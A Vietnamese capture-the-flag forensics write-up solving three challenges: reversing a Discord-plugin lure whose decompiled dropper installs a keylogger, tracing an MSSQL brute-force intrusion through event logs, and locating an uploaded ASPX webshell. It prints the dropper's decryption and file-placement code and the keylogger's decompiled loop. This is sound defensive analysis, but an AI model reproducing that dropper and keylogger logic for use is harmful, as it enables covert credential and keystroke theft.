# KMA CTF 2025 WRITEUP [Forensics] ## Forever 3.14 ![image](https://hackmd.io/_uploads/H1XTiQmWxe.png) Tải file `ib` về và mở bằng Notepad xem thử thì thấy đây là file `eml`. Ném thử lên web [EML Viewer Online](https://www.emlreader.com/) thì lại chỉ thấy có 1 mail, trông không đúng lắm vì khi đọc bằng Notepad thì thấy rất dài ._. ![image](https://hackmd.io/_uploads/ByTKaQGWlx.png) Quay ra đọc chay bằng Notepad thì thấy 1 đoạn base64 dài, phía trên là 1 mail đến từ `theonlyneevec@gmail.com` với nội dung gì đó liên quan tới Discord ![image](https://hackmd.io/_uploads/rkhrwEGZxe.png) Thử xóa hết phía trên của mail rồi ném lên EML Viewer thì thấy nội dung như sau, có 1 file `zip` đính kèm trông khá là sus ![image](https://hackmd.io/_uploads/rJCiDNzbxx.png) Giải nén file zip đính kèm trong mail là 1 file zip khác, với password là `betterfordiscord` được ghi trong `guide.txt` ![image](https://hackmd.io/_uploads/S15KO4GWlg.png) Tiếp tục giải nén có được 1 file `Plugin.exe`, pack bằng PyInstaller, và một file binary `config.sys` ![image](https://hackmd.io/_uploads/HJuLKVzWxx.png) Dùng [PyInstaller Extractor](https://pyinstxtractor-web.netlify.app/) để unpack rồi ném file `Plugin.pyc` lên PyLingual đọc thử thì thấy như sau ![image](https://hackmd.io/_uploads/Bk33qNfZex.png) Script này thực hiện base64 decode đoạn string `z` rồi deserialize đoạn mã nhị phân vừa được decode thành python bytecode rồi thực thi. Tiến hành viết script đưa string `z` về file pyc để phân tích tiếp: ```python!= import base64 import marshal import dis z = '[insert base64 string here]' c = marshal.loads(base64.b64decode(z)) with open("bytecode.pyc", "wb") as pyc: # Write pyc header (Python 3.7) pyc.write(b'\x42\x0d\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') # Write the code object marshal.dump(c, pyc) ``` Sau khi có được file pyc, ném lên Pylingual thì bị kêu code dài quá mài tự decompile manually đi ._. ![image](https://hackmd.io/_uploads/HyWsaVfWlx.png) Ta sử dụng pycdc để decompile file pyc trên, thu được code như sau ```python!= import os import base64 with open('config.sys', 'rb') as f: data = f.read() k1 = base64.b64decode('/yD2eJUB/oY=') k2 = base64.b64decode('2trmXMrwyg==') data2 = b''.join((lambda .0: [ int.to_bytes(data[i] ^ k1[i % len(k1)], 1, 'big') for i in .0 ])(range(len(data)))) n = ''.join((lambda .0: [ chr(i >> 1) for i in .0 ])(k2)) with open(n, 'wb') as f: f.write(data2) k3 = 'lld.21d3d' k3 = k3[::-1] k4 = [ 178, 130, ... //dài quá ._. 1, 237, 255] k5 = [ 255, 216, 255, 224, 255, 1, 237] d2 = b''.join((lambda .0: [ int.to_bytes(k4[i] ^ k5[i % len(k5)], 1, 'big') for i in .0 ])(range(len(k4)))) with open(k3, 'wb') as f: f.write(d2) try: fl = os.getenv('USERPROFILE') + '\\Ap' + 'p' + 'dat' + 'a\\Lo' + 'cal' + '\\D' + 'is' + 'cor' + 'd' except: exit(0) sfl = (lambda .0: [ f.path for f in .0 if f.is_dir() ])(os.scandir(fl)) for i in sfl: if 'app' in i: os.system(f'''move {k3} {i}''') os.system(f'''move {n} C:\\Windows\\System32''') ``` Script decrypt file binary (ra file `mms.exe`) ```python!= import base64 def decrypt_config(config_data): # First key from base64 k1 = base64.b64decode('/yD2eJUB/oY=') # Second key from base64 k2 = base64.b64decode('2trmXMrwyg==') # First layer - XOR with k1 data = b''.join(int.to_bytes(config_data[i] ^ k1[i % len(k1)], 1, 'big') for i in range(len(config_data))) # Second layer - get filename by right-shifting k2 filename = ''.join(chr(i >> 1) for i in k2) return data, filename with open('config.sys', 'rb') as f: config_data = f.read() decrypted_data, filename = decrypt_config(config_data) with open('decrypted_' + filename, 'wb') as f: f.write(decrypted_data) ``` Decrypt ra file `d3d12.dll` (để solve bài này thì không cần dùng tới file dll này) ```python!= def decrypt_dll(): k5 = [255, 216, 255, 224, 255, 1, 237] # Long ahh array k4 from source k4 = [ 178, 130, ... 237, 255] # XOR k4 with k5 to get DLL dll_data = b''.join(int.to_bytes(k4[i] ^ k5[i % len(k5)], 1, 'big') for i in range(len(k4))) with open('decrypted_d3d12.dll', 'wb') as f: f.write(dll_data) print("Decrypted DLL saved to: decrypted_d3d12.dll") decrypt_dll() ``` ![image](https://hackmd.io/_uploads/rk90OHMZll.png) Hàm main() của `mms.exe`: ```cpp!= // Hidden C++ exception states: #wind=1 int __fastcall main(int argc, const char **argv, const char **envp) { HWND ConsoleWindow; // rax __int64 v4; // rax int i; // ebx int v6; // eax _BYTE v8[40]; // [rsp+28h] [rbp-160h] BYREF _BYTE v9[16]; // [rsp+50h] [rbp-138h] BYREF _BYTE v10[272]; // [rsp+60h] [rbp-128h] BYREF ConsoleWindow = GetConsoleWindow(); ShowWindow(ConsoleWindow, SW_HIDE); v4 = sub_140002460(v8, "Microft Version Stub_"); sub_140001470(v4); while ( 1 ) { Sleep(0xAu); for ( i = 8; i <= 254; ++i ) { if ( GetAsyncKeyState(i) == -32767 && !(unsigned __int8)sub_140001550((unsigned int)i) ) { sub_140001540(v9); sub_1400023B0(v9); sub_1400022F0(v9); if ( (unsigned __int8)sub_140002340(v9) ) { v6 = rand(); i ^= v6 % 255; sub_140002D10(v10, (unsigned __int8)(v6 % 255)); sub_140002D10(v10, (unsigned __int8)i); sub_1400022B0(v9); } sub_140001510(v9); } } } } ``` Đọc qua thì thấy có gọi API GetAsyncKeyState(), trong hàm sub_1400022F0() có gọi hàm sub_1400028D0(), nội dung như sau: ```cpp!= __int64 __fastcall sub_1400028D0(__int64 a1) { struct _iobuf *v2; // rax __int64 v3; // rax __int64 v4; // rax _BYTE v6[24]; // [rsp+20h] [rbp-18h] BYREF if ( *(_QWORD *)(a1 + 128) ) return 0LL; v2 = std::_Fiopen("msstub.dat", 8, 64); if ( !v2 ) return 0LL; sub_140002790(a1, v2, 1LL); v3 = std::streambuf::getloc(a1, v6); v4 = sub_140002F00(v3); sub_140002640(a1, v4); sub_140001360(v6); return a1; } ``` Hàm sub_140001550(): ```cpp!= char __fastcall sub_140001550(int n189) { const char *@CBS; // rdx __int64 v2; // rax int n2; // ecx __int64 v5; // rax _BYTE v6[32]; // [rsp+20h] [rbp-20h] BYREF if ( n189 > 189 ) { n2 = n189 - 219; if ( n2 ) { if ( n2 != 2 ) return 0; @CBS = "@CBS"; } else { @CBS = "@OBS"; } LABEL_24: v5 = sub_140002460(v6, @CBS); sub_140001470(v5); return 1; } else { if ( n189 != 189 ) { switch ( n189 ) { case -66: @CBS = "@DS"; goto LABEL_24; case 2: @CBS = "@RC"; goto LABEL_24; case 8: @CBS = "@BS"; goto LABEL_24; case 9: @CBS = "@TS"; goto LABEL_24; case 13: @CBS = "@LFS"; goto LABEL_24; case 16: @CBS = "@SF"; goto LABEL_24; case 17: @CBS = "@CTS"; goto LABEL_24; case 18: @CBS = "@ALS"; goto LABEL_24; case 20: @CBS = "@CS"; goto LABEL_24; case 32: @CBS = "@SS"; goto LABEL_24; case 37: @CBS = "@LS"; goto LABEL_24; case 38: @CBS = "@US"; goto LABEL_24; case 39: @CBS = "@RS"; goto LABEL_24; case 40: @CBS = "@DWS"; goto LABEL_24; default: return 0; } } v2 = sub_140002460(v6, "@UDS"); sub_140001470(v2); return 0; } } ``` Có vẻ đây là một con keylogger, cách hoạt động của nó cơ bản như sau: - Đầu tiên kích hoạt một cửa sổ cmd, rồi ẩn nó đi - Khởi tạo biến v4, có string `Microft Version Stub_`, rồi ghi nó vào file `msstub.dat` - Bắt đầu khởi tạo vòng lặp với `i = 8`, tới `i = 254` - Nếu có lệnh từ bàn phím (dùng API GetAsyncKeyState) và phím đó nằm ngoài filter từ hàm sub_140001550() thì sẽ encrypt bằng cách + Tạo random biến v6 + xor keycode (của phím vừa nhấn) với `v6 % 255`, cho vào biến `i` + ghép `v6 % 255` với `i` thành 2 bytes - Sau đó ghi 2 bytes vừa rồi vào file `msstub.dat` - Nếu phím vừa nhấn nằm trong list filter của hàm sub_140001550() thì ghi thẳng string đã được định nghĩa trong hàm sub_140001550() vào file `msstub.dat` Rename lại một số hàm có trong hàm main(): ```cpp!= // Hidden C++ exception states: #wind=1 int __fastcall main(int argc, const char **argv, const char **envp) { HWND ConsoleWindow; // rax __int64 inited; // rax int i; // ebx int v6; // eax _BYTE v8[40]; // [rsp+28h] [rbp-160h] BYREF _QWORD p_ContextRecord[2]; // [rsp+50h] [rbp-138h] BYREF _BYTE v10[272]; // [rsp+60h] [rbp-128h] BYREF ConsoleWindow = GetConsoleWindow(); ShowWindow(ConsoleWindow, SW_HIDE); inited = InitLogHeader((__int64)v8, (__int64)"Microft Version Stub_"); WriteLogHeader(inited); while ( 1 ) { Sleep('\n'); for ( i = 8; i <= 254; ++i ) { if ( GetAsyncKeyState(i) == -32767 && !IsKeyFiltered(i) ) { ClearKeyLogStruct((struct _CONTEXT *)p_ContextRecord); FillKeyLogMetadata(p_ContextRecord); SerializeKeyLog((__int64)p_ContextRecord); if ( ShouldLogKey((__int64)p_ContextRecord) ) { v6 = rand(); i ^= v6 % 255; AppendObfuscatedKey((__int64)v10, v6 % 255); AppendObfuscatedKey((__int64)v10, i); SendKeyLog((__int64)p_ContextRecord); } CleanupKeyLogStruct((__int64)p_ContextRecord); } } } } ``` Quên mất đề còn file `challenge` nặng 2GB trong link drive ._. Đây là file mem dump từ máy của victim. Dùng MemprocFS bật mode forensic để lấy nốt file `msstub.dat` ra decrypt. Theo như script python trên thì nó nằm cùng thư mục với Discord ở `\Users\TungTungTungSahur\AppData\Local\Discord\app-1.0.9191` ![image](https://hackmd.io/_uploads/r1hHXDGZgl.png) Đây là script giải mã: ```python!= file_path = "msstub.dat" with open(file_path, "rb") as f: content = f.read() def decrypt_msstub_from_data(data: bytes) -> bytes: header = b"Microft Version Stub_" if not data.startswith(header): raise ValueError("Invalid file header.") payload = data[len(header):] filters = { b"@SS", b"@LFS", b"@SF", b"@BS", b"@RC", b"@CS", b"@TS", b"@US", b"@DWS", b"@LS", b"@RS", b"@CTS", b"@OBS", b"@CBS", b"@UDS" } i = 0 output = bytearray() buffer = bytearray() while i < len(payload): matched = False for f in filters: if payload[i:i+len(f)] == f: for j in range(0, len(buffer) - 1, 2): output.append(buffer[j] ^ buffer[j+1]) if len(buffer) % 2 == 1: output.append(buffer[-1]) buffer.clear() output.extend(f) i += len(f) matched = True break if not matched: buffer.append(payload[i]) i += 1 for j in range(0, len(buffer) - 1, 2): output.append(buffer[j] ^ buffer[j+1]) if len(buffer) % 2 == 1: output.append(buffer[-1]) return bytes(output) decrypted_data = decrypt_msstub_from_data(content) decoded_readable = ''.join(chr(b) if 32 <= b <= 126 else ' ' for b in decrypted_data) print(decoded_readable) ``` Thu được output như sau: ```! NOTEPAD@LFS@SF @SFKMACTF@SF @OBS@SF A@SF @UDS @SF I@SF @UDS @SF @SF U @SF@UDS E@SF @UDS OKAH@BS@BSASHI@UDS SHITA@UDS @SF K4@SF K1@SF @UDS KUU@BS@BS@SF UU@SF @UDS @SF KK3@SF @SF @SF @UDS K0@SF NN4@SF @UDS N1@SF @UDS M0@SF @BS@BS@SF M0@SF @CBSD@BS@SF Y@LFS@CTS H@SF Y ``` Xử lý lại theo cú pháp sẽ thu được flag ``` KMACTF{A_I_U_E_OKASHI_SHITA_K4K1_KUU_KK3_K0NN4_N1_M0} ``` P.S. File `ib` ở trên không phải là file `.eml` mà là file `.mbox` (`.eml` chỉ là 1 thư, còn `.mbox` chứa nhiều thư trong cùng 1 file) Mở bằng mbox viewer sẽ thấy đầy đủ nội dung: ![image](https://hackmd.io/_uploads/S1WNrMmbll.png) ## Analyzer ![image](https://hackmd.io/_uploads/ryROsQ7Zeg.png) ### Chuẩn bị - Dùng [Hayabusa](https://github.com/Yamato-Security/hayabusa) để tạo file csv timeline theo rule có sẵn từ Windows Event Log (.evtx) > Đọc chay bằng Event Viewer cũng được, personal preference ### 1. Which account was successfully compromised by the attacker? > Answer: sa Bình thường thì MSSQL log về event login failed (event id 18456) sẽ kiểu như hình dưới, có nói rõ `Login failed for user 'xxx'. Reason: Password did not match...` ![image](https://hackmd.io/_uploads/HyQc9MX-xg.png) Tuy nhiên trong event log được cung cấp thì chỉ thể hiện như này ![image](https://hackmd.io/_uploads/r1rmjMmbgg.png) Và timeline xuất ra bằng Hayabusa ```! Binary: 184800000E00000010000000570049004E002D004D0030004C005300320032005400340045004B0048000000070000006D00610073007400650072000000 ¦ Data[1]: sa ¦ Data[2]: Reason: Password did not match that for the login provided. ¦ Data[3]: [CLIENT: 192.168.174.134] ``` Tóm lại thì user đang bị Brute Force mật khẩu là user `sa` (system administrator - user mặc định sysadmin trên MSSQL) ### 2. What technique from the MITRE ATT&CK framework did the attacker use to compromise the account? > T1110 Có thể thấy một đống log login failed do sai mật khẩu nên đây là kỹ thuật Brute Force, với ID là `T1110` https://attack.mitre.org/techniques/T1110/ ### 3. How many failed login attempts were recorded? Tầm 44904 44905 lần gì đó ( filter event id 18456 thì có 44905 dòng, chắc là 1 dòng login thành công) > Answer: 44904 ![image](https://hackmd.io/_uploads/rkMP6f7Zee.png) ### 4. When did the attacker first gain cmd access? (UTC+7) Ex: 2022-12-20_09:08:07 > Answer: 2025-03-09_15:37:05 Search cmd thì ra được log những lần sử dụng cmd ![image](https://hackmd.io/_uploads/rJr5RzQ-ge.png) ### 5. What is the path to the executable file that the attacker used for privilege escalation? > Answer: c:\users\public\printspoofer64.exe Ở gần cuối timeline có log Powershell giải nén file `master.zip` trong `c:\users\public` Trong file `All Windows.System.Amcache%2FInventoryApplicationFile.csv`, nhìn qua thì thấy có quả `mimikatz.exe` nằm trong `c:\users\public\`, search thử xem trong đấy còn gì không thì có thêm `nc.exe` và `printspoofer64.exe`, trong đó `printspoofer64.exe` là công cụ abuse Print Spooler để leo quyền trên Windows 10 https://github.com/itm4n/PrintSpoofer ![image](https://hackmd.io/_uploads/rkRrV7Q-gg.png) ### 6. What account did the attacker create to maintain persistence? > Answer: admin Search xem có event account created nào không thì có luôn ![image](https://hackmd.io/_uploads/rkhYIQQ-xx.png) ### 7. What tool did the attacker use for data exfiltration?(lowercase) > Answer: rclone.exe Lúc đầu đoán có vẻ như `nc.exe` được dùng để tuồn dữ liệu ra nhưng không phải, xem lại ở cuối log thấy còn `rclone.exe`, thường dùng để backup, upload file. ![image](https://hackmd.io/_uploads/ryrG9Q7bel.png) ```! 1. Which account was successfully compromised by the attacker? Answer: sa Correct!! 2. What technique from the MITRE ATT&CK framework did the attacker use to compromise the account? Answer: T1110 Correct!! 3. How many failed login attempts were recorded? Answer: 44904 Correct!! 4. When did the attacker first gain cmd access? (UTC+7) Ex: 2022-12-20_09:08:07 Answer: 2025-03-09_15:37:05 Correct!! 5. What is the path to the executable file that the attacker used for privilege escalation? Answer: c:\users\public\printspoofer64.exe Correct!! 6. What account did the attacker create to maintain persistence? Answer: admin Correct!! 7. What tool did the attacker use for data exfiltration?(lowercase) Answer: rclone.exe Correct!! Flag: KMACTF{k1ng_of_analysis_l0g} ``` ## Guessing ![image](https://hackmd.io/_uploads/rygio77Wgx.png) Chuẩn bị: Script parse hết file log ra csv để dùng csv-timeline xử lý Hint của author về webshell: ![image](https://hackmd.io/_uploads/r1C7AXmZgl.png) Dựa vào hint của author, có thể thấy timeline của các file đều vào ngày `15/05/2024`, ta filter ngày này để kiểm tra. Thêm vào đó, quả `nhanvienpro.aspx` trông khá là sus, search thử rồi xem các sự kiện gần đấy có gì ![image](https://hackmd.io/_uploads/Byu9eNmWeg.png) Quy trình khai thác lỗi Upload file sẽ là: Attacker POST file lên web, sau đó GET file về, nếu upload thành công thì sẽ trả về status 200 File `nhanvienpro.aspx` POST lên trong directory `/Thu_Vien/`, tiến hành search `Thu_Vien` để kiểm tra, thấy có upload `k.aspx`, `Donvi.aspx`, `Nhanvien2.aspx`, ... ![image](https://hackmd.io/_uploads/rkCSm4Xbgg.png) Sau đó bỏ filter method POST để xem có cái GET nào gần đấy trả về status 200 không. Thấy GET file `k.aspx` đầu tiên lúc `02:40:43` trả về status 200, đây chính là lúc attacker upload thành công webshell đầu tiên. Tiếp tục bỏ filter tìm `/Thu_Vien/` để check xem trước đó file được dùng để POST `k.aspx` lên là gì, ta có `ThuVien.aspx` đã POST lên thành công, vậy đây là file mà attacker lợi dụng để upload webshell ![image](https://hackmd.io/_uploads/HJeOVN7Wgx.png) Flag: ``` KMACTF{2024-05-15_02:40:43_ThuVien.aspx} ```